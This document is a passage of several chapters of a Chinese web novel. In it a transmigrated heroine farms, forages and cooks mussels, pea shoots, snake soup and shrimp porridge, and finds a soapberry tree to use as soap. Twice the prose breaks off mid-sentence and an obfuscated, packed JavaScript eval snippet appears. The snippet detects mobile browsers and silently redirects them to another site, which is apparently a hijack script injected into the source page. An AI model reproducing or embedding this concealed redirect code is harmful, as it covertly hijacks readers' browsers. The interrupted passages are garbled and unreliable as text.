河蚌洗干净后,被黄迎春排队丢进大大的铁锅里,又倒进两瓢清水,煮至河蚌开壳,这才撤了火把。 开口的河蚌被黄迎春从锅里捞出来放在圆口筲箕里,煮过河蚌的水则倒进碗里沉淀。 然后,黄迎春执着一双筷子,把河蚌的肉一个个从河蚌的壳里挑出来。 河蚌壳虽大,但河蚌肉的个头极小,尤其是煮过之后的河蚌,蚌肉一缩再缩,基本上也就比黄迎春大拇指的指甲盖再大上那么一点儿,如果捡的少了,几乎没吃头。 挑出来的蚌肉还要用水再淘洗一遍,以防里面还有泥沙,黄迎春怕没有过滤的河水不干净,特意用的事先盛在大竹筒里晾凉的开水。 本来河蚌就是在河里挖的,不知道上面有没有寄生虫,如果用水再不小心,岂不是又要拉几次肚子?在缺医少药的荒山脚下拉几天肚子,黄迎春不敢想象后果会如何,尤其是她一人独居,无人照顾,真是死在这里都没人收尸。 蚌肉洗净后沥干,倒入放了姜蒜的油锅,翻炒一会儿后加入绿油油的野韭菜,黄迎春又撒了点虾粉当调料,最后勾兑用的是沉淀后去掉碗底一层浅浅杂质的焯过河蚌的鲜水。 黄迎春把碗洗干净,盛出柔韧嫩滑的野韭炒河蚌,然后掰开还冒着一点儿热气的竹筒,夹一筷饭,再扒一口菜,吃得不亦乐乎。 23.上汤豌豆苗 扦插下去的桑树枝活了十五根,黄迎春不得不佩服自己的远见。 她真是太聪明了! 幸亏她多找了好几棵桑树,砍了满满两背篓的量带回家。 瞧瞧这些生机勃勃的小桑树,绿得多好看哪! 黄迎春仿佛已经看到了这些才冒出几片嫩芽和绿叶的桑树枝条长大成材的样子,至于那些因为扦插失败发不了根,被她晒干了丢在柴房里等着拿去烧火的桑树枝条,好像一点儿都没有在黄迎春的脑海中留下印象。 黄迎春已经开始琢磨在山上专门开出一块地来种桑树了,毕竟桑树浑身都是宝,再多也不嫌。 桑叶既能喂蚕,也能摘下来煮水给人吃。 黄迎春在杏林医馆治病时,听到一个桑叶的食疗方子,是坐馆的大夫在义诊时为一个风尘仆仆的年轻人特意开的。 那位年轻人赶了许久的路,来到永安城内大名鼎鼎的杏林医馆,只为给他眼部患病的母亲求一味良药。 他说他的母亲曾是远近闻名的绣娘,只是刺绣费眼,所以他母亲很早之前眼神就有点不好,最近不知怎么回事,到了夜间,若是不及时点灯,竟然已经完全无法看清四周。 说着说着,便嚎啕大哭起来。 “当时我就站在母亲面前,大约也就三步远,母亲却完全看不见我。求求大夫,救救我母亲的眼睛吧!再坏下去可怎么得了?我能有今天,全是我母亲一针一线绣来的啊!” 他苦苦哀求,又奉上随身携带的所有银钱,只差没跪在大夫面前。 真是听者伤心闻者落泪。 旁人一边拭泪一边出主意:“你这孩子,既然这么有心,何不把你母亲带来医治呢?杏林医馆的林大夫针灸是一绝,说不定,扎上几针,你母亲的眼睛就好了。” 年轻人先向出主意的好心人行了个礼,又说:“我何尝不知道自己过来寻医问药是下下策,只是我那母亲,自从眼睛坏了,下一针要看好久才敢动手,绣完一副绣品不知要花多久工夫。耗时不说,也费力。虽然家财不丰,但也没有母亲带病为我们操劳的道理,所以我们都劝她好好休息,停手一段时间,先把眼睛治好了再绣也不迟。谁知母亲觉得她无法赚钱,莫说来医馆看眼,就连在家吃饭,饭菜也比从前盛得少了许多。” “这都是做母亲的心啊!”旁人听了,又是一番垂泪。 大夫感念这个年轻人的孝心,给他开了一个简单易得的食疗方子:“取深秋经霜打过后的桑叶煮水,留住色香后将桑叶捞出,打入两个青壳的鸭蛋,煮熟后叫你母亲连蛋带水一起吃掉,一直吃到入冬桑叶无法采摘时,必有效果。” 大夫开了方子之后就让年轻人走了,也不收他的钱。 “这怎么使得?”年轻人捧着荷包,一脸惶恐不安,“万万没有让您白白辛苦的道理。” “没事。杏林医馆每月逢十办一次义诊,你今儿正好赶上初十,问诊免费,只有抓药才收钱呢。这霜桑叶和鸭蛋也不是什么难寻的东西,要我说,你这会儿去集市上逮两只会下蛋的母鸭,再买两棵桑树苗栽在自家院子里,长上几个月,就再也不用愁了。” “是哩!就让你母亲放开肚子吃吧,跟她说都是家里有的东西,吃再多也不心疼。” “现在距离落霜还有好一阵子呢,桑鸭且长着。若是家里地方宽敞,不如这位小郎君你多往家里买几只母鸭,交代你母亲好好看管,她忙起来,便顾不上刺绣,你们也就不用担心了。鸭子好养的很,眼睛不好也不妨碍。鸭子下蛋也快得很,别说一天拿两个青壳鸭蛋煮桑叶,就是一天吃四五个,把一群鸭子养活了也是不怕的。若是蛋生得多了,还能拿去卖钱,也能多点进项。” …… 拿药的、排队的、陪诊的……大家都七嘴八舌地给年轻人出起主意,甚至还有一个热心肠的,当场就问了他家的住处,说是等家里的母鸭孵了蛋,便抱几只雏鸭送过去。 黄迎春望着那个脸色涨红的年轻人千恩万谢地离开了,谁知,人家前脚刚走,后脚蜂拥而至的人群就朝开方子的大夫涌了过来。 “青壳鸭蛋煮霜桑叶能治眼疾,这是什么药理?” “我没眼疾,能不能也这么吃?” “听说人上了年纪眼神都会渐渐不好,我虽然还没当祖母,但我家两个小儿也满地跑了,一个大的,平日里都会帮我一起招揽客人了。大夫,您说,我这把年纪,如果从现在开始每年吃桑叶煮鸭蛋,等我老了,我的眼睛是不是不会像别人那样坏得厉害?” “我打小就羡慕在梨园唱戏的伶人,那些人的眼睛啊,一双比一双赛得美、生得亮,就跟会说话一样,看一眼,我骨头都酥了,可惜我爹娘没给我生一对亮招子。陈大夫,如果年纪大的吃了桑叶煮鸭蛋都有用,我从小吃是不是效果会更好?陈大夫,咱们都是街里街坊的熟人,您可得给我一个准话。” 那一日如何热闹嘈杂,在焦点中心的陈大夫又是如何从黑压压的人群里逃出来的,黄迎春已经记的不大清楚了。唯一印象深刻的,只有青壳鸭蛋煮霜桑叶的好处——滋阴润肺,清肝明目。 如果用新鲜桑叶煮水,还有疏散风热、凉血止燥之效。 除了桑叶,桑树的根皮也能入药,可以制成一味名叫桑白皮的药材,据说可以泻肺平喘、利水消肿。 桑树的价值远不止如此,桑木不仅质地坚硬,还富有弹性,是做弓的不二之选,宫中伶人演奏时用到的乐器,有不少也是桑木做的。 而且,桑树不必等到长成了才能砍掉晒干当柴火,种下桑树后,每年冬天,她可以拿着镰刀把每棵桑树砍一遍,修剪下来的桑树枝条阴干后,又是一堆助她储冬的柴火。 桑树砍掉枝条后,不仅不会被冻死,还能减少休眠期的消耗,在寒冬时节保存能量,待来年入春,发出来的新枝会更多更绿。 桑树的落叶收集起来还能肥田,这又是一桩好事。 对了!不只有蚕爱吃桑叶,羊和兔子也喜欢吃桑叶呢! 黄迎春可没有忘记她明年要缴纳的单身税——足足七贯钱的数额!今年的六贯五百文她已经留好了,这笔钱是死也不能动的,因为动了就离死不远了。今年的有了着落,可是明年呢?后年呢?她还要再交两年的单身税,这十几贯钱从哪里来呢? 靠种稻卖粮? 她一个力气寻常,无牛可耕,甚至连现成的良田都没有的人,怎么可能种出那么多粮食?还要卖上十几贯钱的高价! 黄迎春可不敢肖想低产高价的美事。 而且,也不一定是美事。 粮价高涨,通常只有两种情况。 一是快打仗了,各家各户都赶着屯粮,导致粮食供不应求,一贯钱能买几斗粮全凭粮市开价。 二是灾年来了,粮食歉收,种地的农人自己家里尚且不够吃,更不会把保命的粮食拿去卖,市面上卖粮的人少了,粮价便一路推高。 打仗和灾年,不管遇上哪个,对黄迎春来说,都是惊天噩耗。 就是卖了粮食交上当年的赋税,她也撑不过第二年。 反之,若近几年都风调雨顺,五谷丰登,哪怕只靠她一个人种地,也能收获吃上一两年的粮食,她也攒不到钱。 好年景之所以是好年景,是因为人人都能享受到老天给的好处。 她能丰收,其他人也能丰收,大家都丰收,大家的粮食都有富余,大家都想把粮食拿去粮市换钱,那粮价就会一路走低,赚得说不定比年景坏的时候还要少。 这便是谷贱伤农。 勤劳致富这个传咏了千百年的真理,似乎没把农民这个群体囊括进去。 从古至今,黄迎春就没听说过哪个农民是单纯靠种地发家的。 也许上辈子有这种人才吧,但是现代有不断更新换代的机械化设备,安朝只有日出而作的农人。 “锄禾日当午,汗滴禾下土。” 曾经朗朗上口的古诗成了黄迎春的真实写照,侍弄农事真 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黄迎春万万没有想到她的钱花着花着就没了,必用品买完,她忽然发现,自己已经没有钱去买鸡鸭了。 雏鸭和鸡崽的价钱倒是便宜,但她家徒四壁,山里天气多变,自己的冷暖尚且不知,哪有余力能照顾好这些脆弱的小家伙呢! 山中多年无人踏进,也不知道那里的动物胆子会不会变大,万一闻着味听着声就从山上下来把雏鸭和鸡崽叼走了呢? 损失了钱倒是小事,万一下山的是一些豺狼虎豹,小小的几只鸡鸭填不饱它们的肚子,它们看上自己身上这几块肉呢? 十贯钱盖好的茅草屋,经得住下山的野兽们几下攻击呢? 黄迎春越想越怕,最后还是掐灭了买小鸡小鸭带回家中饲养的想法。 不过,今年养不了,又不代表明年养不了。 鸡鸭养不了,又不代表兔子和羊养不了。 就算兔子和羊捉不到,蚕总是跑不了的。 想来想去,黄迎春还是觉得多种点桑树总没错。 再不济,桑树也能砍下来烧火呀,反正怎么算都不亏! 黄迎春又砍了许多桑树枝条插在水里,准备多育点桑树苗,争取种出一片桑树林。 在山坡上开出的那片田撒下豆种后,已经冒出了嫩绿的幼芽,绿油油的煞是喜人。 只是正值草长莺飞的春季,野花野草也疯狂在田里生长,拼命和农作物抢夺地里的营养和水分。 黄迎春只要几天不去锄草,它们就能长得比豆苗还要高,让黄迎春怀疑自己种的到底是一片农田还是一片草地。 开荒、锄草、捉虫、晒虾、砍柴……黄迎春忙前忙后,甚至连下河摸鱼的时间都没有,到了晚上,她望着两个浸满了桑树枝的木桶,默默地去菜地里揪了一把豌豆苗。 豌豆要夏初才能成熟,但豌豆苗在幼芽出土后七天左右就可以采收,挑嫩梢的茎叶用指甲掐下来,既能热炒,又能做汤,还能涮锅,做法非常的多。 黄迎春忙了一天,饿的不行,只想让自己以最快的速度吃上夕食,所以她决定做一道最简单的上汤豌豆苗。 她先将豌豆苗匆匆过两遍水清洗干净,放在烧开的水里,又撒了几粒盐进去,拿着筷子把豌豆苗反复焯烫,然后又捞进碗里。 之后,她把锅里的水盛出来倒进竹筒里,把锅擦干,倒了一点儿油进去,相继加入姜丝、蒜末、切碎的咸鸭蛋、撕成条状的菌菇不停地翻炒。 待香味被激发出来,又倒入热水和一点调味的虾粉,用小火慢慢收汁。 最后,把佐料丰富的浓汤往碧绿的豌豆苗上一倒,一道色香味俱全的上汤豌豆苗便做好了。 豌豆苗的清香,唇齿留香的美味,让饥肠辘辘的黄迎春难以忘怀。 当晚,她咬了许久的杨柳枝,总觉得牙齿没刷干净。 24.蛇羹 人不能,至少不应该,这么倒霉。 黄迎春如是想道。 她真是想不通,明明只是去溪里捞山螃蟹,为什么会忽然从溪边的水草里游出一条水蛇? 游出一条水蛇就算了,为什么她还会把它发出的动静当成一条肥大的鲫鱼,以迅雷不及掩耳之势把它抓在手里,然后又被手中不断挣扎的水蛇吓了一跳? 被吓了一跳也罢了,为什么她在后退时刚好踩到一块滑溜溜的石子,身体一歪,直接整个人都摔在溪里,还报废了一身衣裳? 从头到脚,由内而外,整个人几乎全湿透了,这就完了吧? 也该到此为止了。 结果,她好不容易从水里爬起来,脚步匆匆地赶回家,烧了一大锅热水,打算在晴朗的白天里把自己从头到脚认真地清洁干净,为什么才洗到一半澡豆就用光了? 澡豆用光了,没关系,起码身上还有点泡沫,少蘸点水也不是不能凑合洗。只是她刚准备把换下来的脏衣裳拿去洗,为什么又在她衣裳的后背处看到了一道不知道什么时候割破的大口子? 意外,怎么能有这么多? 人生,怎会这般无常! 烦恼归烦恼,事情还得接着做。 破掉的衣裳得洗干净才能缝补,黄迎春把脏衣裳扔进家里唯一的一个木盆里,正打算抱上木盆拿着水瓢去河边舀水洗衣时,忽然发现拿来洗衣裳的草木灰也用尽了。 草木灰兑的水虽然洗衣裳不大干净,但是总比用清水干搓强,可偏偏她昨天才把家里所有的草木灰从灶膛里掏出来全部撒到地里做肥料。 想起这一茬的黄迎春:“……“ 如果人无语的时候会发笑,只能说明情况还不够糟糕。 笑不出来的黄迎春安慰自己:没事,没有草木灰也不妨事,皂荚水洗衣裳洗得更干净,谁家不在房前屋后种一棵皂荚树呢?常见的很,找找就有了。 黄迎春背着竹篓,拿着镰刀,散着一头潮湿的长发,在野外找了许久,还是一棵皂荚树都没找到,身上反而沾上了许多刺人的苍耳。 这可是她刚换上的干净衣裳! 身疲心累的黄迎春连叹气的力气都没有,她在河边的一块大石头上坐下,侧身望着河面上倒映的人影,陷入沉思。 人活着的意义,到底是什么呢? 好运气这玩意儿,有没有获得的标准? 一个从来没做过坏事的人想好好活着,怎么就这么难呢? …… 一颗干瘪的黑褐色里又带点红的果实飘在河面上,打她眼前而过,扰乱了黄哲学家的思考。 嗯? 黄迎春一下子机灵起来。 这是……无患子? 黄迎春又在河边坐了好一会儿,没看到第二颗一样或类似的果实从河流上游流下来,但她又不愿意错过“周围存在无患子“这个可能性,便拿起东西沿着河道一直往上走,不知走了多久,终于远远望见了那棵高大的落叶大乔木。 黄迎春一时也顾不得累了,她拼命披荆斩棘,兴奋地朝那棵树走去。 近了……近了……更近了……到了! 黄迎春来到树下,从满地散落的果实里捡起一颗品相完好的认真观察,在认出那是一颗无患子后,抱着灰褐色的树干,忍不住喜极而泣。 真的是无患子树啊! “我终于找到你了,牙膏、洗发水、沐浴露、洗衣粉、洗洁精……我这辈子所有的清洁剂都有着落了,呜呜呜——“ 黄迎春抱着又粗又壮的树干哭了许久,好不容易停下来,还是因为一只蚂蚁从树干爬到她的手背给她狠狠地咬了一大口。 今天刚换上的干净衣裳先是粘上许多苍耳,在来的路上一会儿被草割,一会儿被蜘蛛网拦,刚才在抱树时又蹭了许多树汁,今年刚买的新衣眨眼间一片狼藉,黄迎春却升不起一星半点的难过之情,她的眼里只有面前这棵高大粗壮的无患子树。 长得这么高,感觉看着都得有十几米了,天哪,这得是多少年的老树啊?真是捡到宝了! 这层层叠叠的,掉的满地都是,真是厉害啊,一棵树就能长这么多颗无患子! 黄迎春一会儿抬头看,一会儿低头瞧,一脸喜气洋洋。 无患子是黄迎春上辈子经常打交道的老家伙。 有一阵子极简主义的书籍畅销,黄迎春买了几本书看过之后就入了坑,还在网上关注了许多极简博主。 后来发现有些博主每个季度都在发不同的服饰,偏偏年终总结时又说自己一年四季的衣服总共只有几件,黄迎春感到自己被欺骗,默默地取关了好多博主。 好不容易大浪淘沙留下了几个真极简的,嘿,人家极简到最后,觉得没什么可发的,要么不更新,要么直接注销账号,把社交软件也一并极简了。 极简的风还没吹完,断舍离又火了,不过还是一样的套路,黄迎春实在想不通,纸巾用完的包装袋不是随手一扔就行了吗,怎么还有人攒着到了月末一连扔个三四袋呢? 还有那些用完的牙膏、面膜纸、护肤品……黄迎春越看越不理解——这到底是断舍离还是丢垃圾呢? 断舍离不等于搞卫生,黄迎春真希望大数据给她频繁推荐的那些博主知道这一点。 不过黄迎春也不是什么都没有学到,她经由极简主义和断舍离了解到许多物尽其用的好办法,形成了环保理念,并在生活中坚持践行环保替代。 可惜,她还没为地球的环保事业做出多少贡献,眼睛一闭就在工位上猝死了。 黄迎春万万没有想到,她在黄家村找了十来年都没找到的无患子树,竟然今天会被她在这座荒山不知道哪个方位的犄角旮旯遇到。 这真是……太棒了! 塞翁失马,焉知非福。 天无绝人之路,地有好生之德。 山穷水尽疑无路,柳暗花明又一春。 …… 黄迎春内心深处的激动无法言说。 她总算知道自己今天上午为什么会那么倒霉了,原来都是为了和无患子树团聚的这一刻啊! 这棵无患子树的品种也好,不像有些品种差的,树上结出的无患子一落地就蛀虫了,甚至有些还没落下就蛀虫了,用也用不了。 黄迎春不知道这附近的人是否懂得无患子的妙用,不过就她在这里住了将近两个月的情况来看,宋大说得果真不错,这座山的确是多年无人踏足的荒山。 无患子树生的无患子没人捡,它年年生,年年落,偏偏它在自然状态下萌芽概率又极低,于是年年烂在地里,只有少有的一部分才能滚进不远处的河里,顺流而下,去寻找繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870277|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殖的机会。 蛀了虫子的不要,发霉的不要,腐烂的也不要……黄迎春蹲在树下挑挑拣拣,见背来的空竹筐装了七八分满才意犹未尽地停手。 不能再装了,自然落地的无患子没什么水分,重量又结实,这里离家也有些远,再多就背不走了。 黄迎春艰难地把沉重的背筐背在身上,双手合十向无患子树道了一声谢,这才拎着镰刀循着之前踩过来的一条不明显的小路原路返回。 去时走得有多快,回程黄迎春走得就有多慢。 背筐实在是重,沉甸甸地压在黄迎春的肩头,黄迎春一路上都在担心续在竹筐上的麻绳断裂,无患子落在地里倒是还好说,总归再费点力气捡了就行,但麻绳可是她用钱从镇上的麻刀铺买来的,哪怕断一根她都心痛。 好不容易把竹筐背到家门口的河边,黄迎春急忙把肩上的麻绳卸下来喘口气,然后又从家里的堂屋取出一个深底的竹篮,哗啦啦地倒了半篮多的无患子进去,再提着竹篮走到竹林边的小溪,把竹篮放在溪间的几块石头夹缝里。 就让溪水先把附着在无患子上的灰尘和泥土冲掉吧,她是没这个洗刷的力气了,还没吃饭呢。 早上那条在溪里吓了她一大跳的水蛇被她一刀剁头,蛇身在温水里浸了许久,正等着她回家去剥皮呢。 黄迎春拖着疲惫的脚步往家赶,到家后先灌了自己一大筒水,又在锅里焖上米饭,然后才提起一动不动的蛇身,拿着刀沿着腹部轻轻切开,小心翼翼地将蛇皮从蛇肉上剥离。 之后,黄迎春又一一取出心、肝、肺、肠等全部内脏,她看了那颗绿色的蛇胆好半晌,最后还是把它连同取出的内脏一起放到一边。 黄迎春莫名有点想家了,上辈子的家。 她抓蛇的手艺,还是和爷爷学的呢。 小时候她异常胆小,过分惊惧,家人不知道从哪里搞来的偏方,说是吃蛇胆能变胆大,爷爷每回在地里抓到蛇,总是喜气洋洋地拎到她面前,当着她的面剖腹取胆,清水一冲便迫不及待地喂给她吃。 蛇胆滑溜溜的,沿着喉咙一路滑进肚子里,除了冰凉,黄迎春没有任何感觉。 不过有一回吃蛇胆的时候正赶上黄迎春的换牙期,松动的门牙磕破了蛇胆的外膜,那一天,黄迎春终于明白了蛇胆真正的味道。 一个字——苦! 苦的不得了! 黄迎春用高高挽起的衣袖擦了一把眼角,剥出蛇油放好,然后将蛇肉洗干净,放在装了清水的桶里,又加上少许盐粒。 米饭渐渐焖好了,黄迎春把白花花的大米饭舀出来,又把锅洗净,然后倒入一大瓢清水,捞出蛇肉切成段,连同姜片和打结的野葱一起扔到锅里,煮沸后,黄迎春撇去浮沫,继续把断成一段一段的蛇肉捞出来,放到清水里又重新好好洗了一次。 蛇肉洗干净,锅也洗干净,加上新的清水和老的姜片,重新盖上木头锅盖,在火苗的舔舐下慢慢熬煮。 一开始没什么感觉,渐渐的,黄迎春闻到了一股香味,那是蛇羹特有的鲜香。 煮好的蛇羹飘着淡淡的油花,清澈的汤水盛进碗里,蛇肉又白又紧,夹一块放在嘴里吮吸,好吃得黄迎春甚至想不起她用钱买回来的好粮焖出的大米饭。 找到免费的清洁剂又吃上蛇肉,真是幸运的一天哪! 25.鲜虾粥 “人生真美好啊!” 自打发现了无患子树,黄迎春总是念叨这句话。 刷牙、洗衣、洗头、洗澡、洗碗、洗手……每一个用到无患子的时刻,黄迎春的嘴里都会冒出这句话。 没办法,无患子实在是太一物多用了! 日光大盛的白天,黄迎春十分难得的,既没有去地里耕田锄草,也没有去林里砍柴运竹,更没有去河里摸鱼捞虾,而是坐在院子里,一边守着平铺在圆口簸箕里晾晒的虾肉,一边拿着针线,小心翼翼地把一块麻布缝成一个结实紧密的布袋。 鸡鸭买不成,但买条渔网抓鱼捕虾的钱还是有的,黄迎春特意在镇上买了一条网眼极小的。 黄迎春往日晾晒虾肉时,总担心天上的鸟雀飞下来偷吃,就是吃不了,万一拉几泡鸟屎在上面泄愤也不是不可能,所以,每次晒虾时,她都把渔网套在簸箕外面,这样既能挡住被虾肉煮熟后散发的香味吸引来的虫蝇,也不妨碍阳光穿过细密的渔网把虾肉晒透晒干。 每回套了渔网,黄迎春把虾肉放在院子里,哪怕外出劳作一整天都很安心。 今天,是她第一次在家里守着。 自从黄迎春编了十几只虾笼放在河、溪各处,每天清晨她都能收获许多河虾。 河虾喜欢在夜间觅食,黄迎春就每天傍晚把新鲜诱饵放在虾笼里再下进水草茂密、水流较缓的地方,然后在第二天天亮后去收笼。 以前黄迎春都是用捣烂的蚯蚓做饵料,后来捞了鱼,就拿鱼内脏和鱼骨头来废物利用,效果也不错。 效果最好的,是水蛇的内脏。 黄迎春当时提起那只丢了水蛇内脏做饵的虾笼,被笼子的重量吓了一跳。 她激动万分,还以为又捉到了一条水蛇,结果只是一堆大小不一的河虾,甚至还倒出来几只小鱼。 河虾大丰收,黄迎春就将它们通通制成虾干和虾粉,放在竹筒里好好保存。 虾粉代盐,平时炒菜做汤时黄迎春都爱撒一些放进去调味。 虾干则放着,留着农忙或打不到猎物的时候,拿出来补充食物,好歹也算是一道肉菜。 经过黄迎春的多次实验,她发现虾肉连续在太阳底下晒上五天左右是最好的。 晒好的虾肉捏着没有软感,散发着浓郁的鲜香,表面也出现了一层淡淡的白霜,尝起来和盐的味道很像。 黄迎春放下缝好的布袋,走到院子里,从渔网下拿起一只蜷曲的红色虾干,放在嘴里尝了尝味道,满意地点点头。 洗净的活虾去掉虾头和虾线,入锅和去腥的佐料一起煮,熟后捞出,间隔有序地平铺在簸箕里,放在太阳底下暴晒,偶尔翻动,遇上连续的大晴天,晒上四五天就能干透,晒好的虾干放在干燥处好好保存,黄迎春估计,放到今年冬天应该不成问题。 虾粉,是黄迎春用虾干上的虾壳和去掉虾脑的虾头做的。 虾肉晒干后,需要放入布袋反复拍打揉搓,筛掉虾壳,这样吃的时候才不会被锋利的虾壳不小心割伤嘴巴。 那些从干硬的虾干上剥离下来的虾壳与一同煮熟晒干的虾头,都被黄迎春用石头捣成细碎的粉末,变成了调味的虾粉。 世界上最会投机取巧的人是脑子灵感的聪明人吗?不,是懒人,只有懒人才会为了偷懒而制出许多懒人神器。 同理可证,世界上最会精打细算的人也不是家财万贯的有钱人,而是黄迎春这样困苦无依的穷人。 上辈子黄迎春学了很多关于极简、断舍离和环保方面的知识,但由于各种原因,最终她没能在生活中全部施行。 黄迎春万万没有想过,换了一个生产力低下的朝代,她的脑子竟然比在现代时还活泛,无师自通了许多物尽其用的省钱妙计。 物尽其用是很好的,但极简主义还是算了吧。 黄迎春看了看她的寒舍,又望了望屋后的荒山,打算这辈子坚定不移地走极繁主义路线。 她终于知道为什么奶奶那么排斥她把老房子里的“古董”丢掉了,明明是放在角落里三年五载都想不起来要用一次的东西,但八十岁的小老太太就是不愿意让她扔掉,碰一回骂一回。 “你们现在的年轻人啊,就是不懂得爱惜东西!那些都有用,可耐用了,用了多少年都没坏的,你扔了做啥!” 那些她眼中沾满灰尘、腐朽不堪的物件,是她的小老太太在过去几十年艰辛的年月中一点点积攒出来的啊。 也不知道小老太太要是看到自己现在在溪里看到一张破渔网都要捡回家来放着会是什么想法? 估计会指着她的额头不停念叨:“看看,我就说那些东西都不能扔吧,都有用的!你别管什么时候会用的,万一哪天要用,我能拿得出来就行了。吃不穷,穿不穷,算计不到就受穷。这都是前人传下来的老话,都是有道理的,奶奶和你讲,你要仔细听……” 黄迎春一边想一边笑,笑得泪花都从眼里冒出来。 虾肉晒好后,黄迎春把簸箕叠在一起,分了两趟搬进厨房。 然后,她又背起半满的竹筐,合上木门,揣着刚缝好的布袋,端起盛满脏衣裳的木盆,快步朝竹林边的小溪走去。 田里的秧苗好不容易长到可以分秧的时候,黄迎春又花了两天时间插秧,把自己累得腰酸背痛,攒下来的脏衣裳也没空洗,忙到今天,黄迎春终于能腾出一点空来制洗衣粉洗衣裳了。 绵延不绝的溪水给任何事情都必须亲力亲为的黄迎春帮了大忙,经过长时间的浸泡与溪水的冲刷,无患子身上的灰尘和泥土被水流带走了大半,黄迎春提起竹篮,蹲在石头边,把手浸在温凉的溪水里,没过多久就把无患子都洗干净了。 然后,她抓了一把无患子放在布袋里,又从怀里拿出一根草绳把布袋口扎得紧紧的,确定无患子不会从布袋里掉出来后,黄迎春把木盆里的衣裳倒在溪边,两手举着木盆舀了小半盆的溪水,又把扎紧的布袋放在木盆里反复揉搓。 渐渐的,装了无患子的布袋冒出一些泡沫,黄迎春兴奋地加快了揉搓的速度,果然,白色的泡沫变得越来越丰富,它们飘在水面上,密得黄迎春甚至看不见泡沫底下的水。 成了! 黄迎春放了两件衣裳在充满无患子泡沫的木盆里,只是浸泡了一会儿,白色的泡沫便变成了黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877832|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的脏水,黄迎春把衣裳拎出来,又打了一盆干净的溪水,把无患子揉出泡沫后,接着把衣裳丢进去泡着,如此反复两三回,再加上搓洗,轻轻松松地便把衣裳洗干净了。 实在是太不容易了。 黄迎春想想她过去过的苦日子,恨不得再跑去山里抱着无患子树哭一场。 未入宫前,黄迎春在黄家村洗衣裳,用的都是灶膛里的草木灰。 家里虽然有皂荚树,但长得不好,每年打下来的皂荚只够拿来给一家人洗头洗澡。 草木灰就不一样了,它简单易得,一年四季都有。 捡那耐烧的枝啊叶啊的在太阳底下暴晒几天,直到草叶晒得又干又轻,一点水分也没有,再堆在灶台边上,平时要烧火就随手拿一把塞进灶膛里。 等饭食熟了,干枝枯叶也变成黑灰。 日久天长,灰越积越厚。寒冬无事时,爹就会把灶膛里的灰烬清出来,放在柴房边上,等到开春,这些草木灰就会在田地里派上大用场。 在平时,草木灰也很能干。 黄迎春打小就看着娘抱着冒尖的木盆去河边洗衣裳。 她洗不了,但娘也不让她闲着,会让她用水瓢舀满草木灰在身后跌跌撞撞地跟着。 到了河边,娘腾出一个木盆,接过她手里的水瓢,把水瓢里的草木灰倒进盆里,再舀几瓢河水化开,一手衣裳一手木锤,就开始在青石板上敲敲打打了。 等到她举得起木锤,抱得起木盆,去河边洗衣裳这件事就变成了她的活。 她的身后没有帮忙的小尾巴,回家晚了娘还会骂她是个吃白饭的,而每回她在院子里架着的竹竿上晾衣裳时,都能看到二妹借着给小弟喂食,偷偷把他碗里的吃食塞进她自己的嘴里,而娘只会睁一只眼闭一只眼,却对她数落个不停。 幸好已经离开了。 黄迎春看着满院子晾好的衣裳又笑起来。 不管黄家人是什么德性,都和她无关了。 立了女户的黄迎春一边用无患子洗手一边说:“人生真美好啊!” 黄迎春十分珍惜她来之不易的美好人生,所以她把渔网从河里捞出后,捡出捕到的水货,决定用今天捕到的河虾给自己熬一锅鲜虾粥。 自从开始晒虾干,黄迎春就再也没有吃过一只活虾。 活蹦乱跳的大只河虾啊,被黄迎春细致地处理好,煸出虾油后又在热水里遨游了好一会儿,这才被黄迎春用筷子把一只只虾头夹出来,倒入提前浸泡好的大米,放在锅里小火慢煮。 木头锅盖沿着缝儿溜出热气,黄迎春把锅铲一放,转身去菜地掐了一把菠菜,又拿到河边洗干净,带回家中切碎备用。 好像还不够。 黄迎春看了看少得可怜的两样食材,从罐子里摸出一颗咸鸭蛋,挖出看着就好吃的咸蛋黄,用筷子搅成泥状,连同剥了壳的虾肉一起下进米粥,拿起锅铲轻轻翻动。 等虾变了颜色后,她又倒入菠菜,再加上几缕咸蛋白调味,然后撤掉火,盖上锅盖,焖上一会儿。 一锅热气腾腾的鲜虾粥做好了,黄迎春喝一口叹一声:“人生真美好啊!” 26.葱油手撕兔 继囤积柴火与虾干虾粉,黄迎春开始储存第三样东西——无患子。 无论风吹日晒,只要有空闲,黄迎春就沿着河道往上走,去无患子树下一颗又一颗地捡无患子。 然后,她把捡来的无患子装在竹篮和背篓里,在溪流中央的石头夹缝里一放就是好几天。 待水流冲去大部分污垢,黄迎春又在溪边把无患子淘洗干净,带回家中放在又圆又大的簸箕里晾晒,晒干后剥掉种子,留下果皮,放在干燥的竹筒里密藏。 无患子真正有清洁效用的,是果实上的那层外皮。 剥开那层薄薄的果皮,可以看见一颗圆润的果仁,质地坚硬,表面光滑,又黑又亮,是无患子的种子。 黄迎春上辈子还用无患子的种子做了念珠和手串戴在身上,这辈子她要干的活太多,已经没有这种闲情雅致。 这天,黄迎春在去捡无患子的路上,又在河边遇到了那棵柳树。 家里的杨柳枝是不是要用完了? 要不然顺手割一点吧。 黄迎春割着割着,忽然停下动作,一拍大腿,惊呼道:“真笨啊!” 为什么她只想着柳树和桑树二取一?完全可以两种树都种啊! 桑树种在后院,柳树可以种在山上,又不会碍着自己什么事,怎么之前没想到这一招呢? 